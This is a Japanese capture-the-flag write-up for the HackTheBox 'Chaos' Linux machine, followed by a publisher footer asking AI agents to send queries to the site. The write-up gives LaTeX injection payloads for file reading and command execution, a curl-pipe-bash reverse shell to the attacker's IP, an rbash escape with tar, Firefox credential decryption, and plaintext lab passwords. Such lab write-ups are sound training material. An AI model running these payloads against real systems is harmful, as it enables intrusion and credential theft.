> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md). # Chaos HackTheBox攻略記事パスワード推測、メールサービス（claws-mail）の悪用、Crypto課題（秘密メッセージの復号 - AES暗号化）、LaTeXインジェクション（RCE）を扱うChaos HackTheBox Medium Linuxマシンの攻略記事。実 {% embed url="" %} {% hint style="warning" %} **スキル:** * パスワードの推測 * メールサービス（claws-mail）の悪用 * 暗号チャレンジ（秘密のメッセージを復号 - AES暗号化） * LaTeXインジェクション（RCE） * rbash（制限付きBash）のバイパス * Firefoxプロファイルから認証情報を抽出 {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.10.10.120 -oG allPorts ```

**ExtractPorts を使ったオープンポート解析（**80.110,143.993.995,10000) extractPorts 関数を使用して、オープンポートを簡潔な形式で表示し、クリップボードにコピーします。

**Nmapによるポートバージョンスキャン：** Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p80,110,143,993,995,10000 10.10.10.120 -oN targeted ```

## **悪用** #### **ポート80 - Web列挙** IP経由の直接アクセスはブロックされています。そのため、 `chaos.htb` ドメインを `/etc/hosts`.

#### **ディレクトリファジング** ```bash gobuster dir -u http://chaos.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r ``` 結果はありません。

**IPアドレス経由でファジング：** ```bash gobuster dir -u http://10.10.10.120 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r ``` フォルダを見つけます `/wp` WordPressを示しています。

次を追加 `wordpress.chaos.htb` サブドメインを `/etc/hosts`.

### **WordPress列挙**

我々はある `Human` WordPress上のユーザー。

### **パスワードの推測** WordPressの記事にパスワードが含まれています。私たちは `Human` そしてそれは機能します。

ウェブメールの認証情報を見つけます: * **username**: ayush * **パスワード**: jiujitsu ## **ポート993/995 - Webメール** ポート993はIMAPメールサーバーを示します。

次を使用します `claws-mail` Ayushのメールボックスにアクセスするために。 ```bash claws-mail ```

メール内で2つの添付ファイルと次のメッセージを見つけます: > こんにちは、Sahay > > enmsg.txtファイルを確認してください。あなたはXDのパスワードです。暗号化に使ったスクリプトも添付しました。ありがとう。

## **秘密のメッセージを復号 - AES暗号化**

私たちは `decrypt.py` GitHub上のスクリプトで、同じプロジェクトに属しています

{% embed url="" %} #### 実行時: ```bash python3 decrypt.py Enter filename: ./enim_msg.txt Enter password: sahay ``` 内容は次でデコードされます `base64`:

```bash cat im_msg.txt | base64 -d; echo ``` メッセージは `http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3` > **こんにちは、Sahay,** > > PDFを作成する新しいサービスを見つけてください。 > > 追伸 – あなたが助言してくれたように、重要なメッセージを暗号化しました。 > > [http://chaos.htb/J00/\_w1ll/\_f1Nd/\_n07H1n9/\_H3r3](http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3) > > **ブロック制御** > > よろしくお願いします。 **Ayush** > > ありがとう、Ayush

## **LaTeXインジェクションの脆弱性** ### LaTeXインジェクション（ファイル読み取り）

リクエストを傍受します

#### PDFドキュメントLaTeX：

注入します： ```latex /input{/etc/passwd} /include{password} ```

### **LaTeX RCEの悪用** 私たちは `id` 次のコマンドを介して: ```latex /immediate/write18{id > output} /newread/file /openin/file=output /read/file to/line /text{/line} /closein/file ```

#### **リバースシェル** ポート443で待ち受けます: ```bash nc -nvlp 443 ``` 次を作成します `index.html` bashスクリプト: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.61/443 0>&1 ``` Web サーバーを起動します: ```bash python3 -m http.server 80 ``` ペイロードの注入： ```latex /immediate/write18{curl http://10.10.14.61 | bash > output} /newread/file /openin/file=output /read/file to/line /text{/line} /closein/file ```

## **権限昇格** ### **Ayushユーザーへのピボット - rbashのバイパス** Ayushとして接続しますが、私たちは `rbash` シェルに制限されています。

利用可能なコマンド一覧： ```bash compgen -c ``` 私たちは `tar` を見つけ、 `rbash` 次を付けて:

{% embed url="" %} ```bash tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ```

### フラグ user.txt :) フルシェルにアクセスし、 `user.txt`.

## **Firefoxの認証情報抽出** その `.mozilla` Ayushのフォルダで `key4.db` および `logins.json`.

それらを自分たちのマシンに転送します:

```bash python3 -m http.server 8080 wget -r chaos.htb:8080 ```

を使ってIDを復号 `firefox_decrypt.py`: {% embed url="" %} ```bash python3 firefox_decrypt.py chaos.htb:8080 ``` 入力します `jiujitsu` メインパスワードとして使用し、次を取得します:

> プロファイル chaos.htb:8080/bzo7sjt1.default のメインパスワード > > ウェブサイト: > > ユーザー名: 'root' パスワード: 'Thiv8wrej/\~ root接続:

### root.txt フラグ

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.